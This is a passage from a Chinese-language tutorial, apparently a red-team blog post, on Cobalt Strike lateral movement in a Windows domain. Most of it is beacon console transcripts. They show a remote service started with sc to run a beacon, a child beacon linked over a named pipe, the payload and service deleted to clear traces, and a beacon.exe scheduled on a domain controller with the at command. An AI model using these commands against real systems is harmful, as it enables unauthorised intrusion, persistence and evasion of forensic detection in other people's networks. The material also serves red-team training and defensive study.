beacon> shell sc \\wintest start beacon [*] Tasked beacon to run: sc \\wintest start beacon [+] host called home, sent: 56 bytes [+] received output: SERVICE_NAME: beacon TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 3816 FLAGS : beacon> link wintest [*] Tasked to link to \\wintest\pipe\msagent_da00 [+] host called home, sent: 36 bytes [+] established link to child beacon: 192.168.175.130
4、清除痕迹与服务
1
shell sc \\host delete name
1 2 3 4 5 6 7 8 9 10 11 12 13
beacon> shell del beacon.exe [*] Tasked beacon to run: del beacon.exe [+] host called home, sent: 57 bytes
beacon> shell del \\wintest\C$\windows\temp\beacon.exe [*] Tasked beacon to run: del \\wintest\C$\windows\temp\beacon.exe [+] host called home, sent: 83 bytes
beacon> shell sc \\wintest delete beacon [*] Tasked beacon to run: sc \\wintest delete beacon [+] host called home, sent: 69 bytes [+] received output: [SC] DeleteService 成功
0x04 执行文件(方法二)
1、生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一生成的 EXE 是不一样的类型,这里生成的是 Windows EXE,不是方法一中的Windows Service EXE
2、找到目标系统上的时间
1
shell net time \\host
1 2 3 4 5 6
beacon> shell net time \\windc [*] Tasked beacon to run: net time \\windc [+] host called home, sent: 49 bytes [+] received output: \\windc 的当前时间是 2020/8/3014:54:09 命令成功完成。
3、创建一个计划任务
1
shell at \\host HH:mm C:\path\to\bad.exe
1 2 3 4 5
beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe [*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe [+] host called home, sent: 76 bytes [+] received output: 新加了一项作业,其作业 ID = 1
4、当计划任务被执行时,执行 link hostname 即可上线主机
1 2 3 4
beacon> link windc [*] Tasked to link to \\windc\pipe\msagent_d76a [+] host called home, sent: 34 bytes [+] established link to child beacon: 192.168.175.144
接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行 net view 查看一下当前域环境中的主机信息。
1 2 3 4 5 6 7 8 9 10
beacon> net view [*] Tasked beacon to run net view [+] host called home, sent: 104504 bytes [+] received output: List of hosts: [+] received output: Server Name IP Address Platform Version Type Comment ----------- ---------- -------- ------- ---- ------- WINDC 192.168.175.1445006.1 PDC WINTEST 192.168.175.1305006.1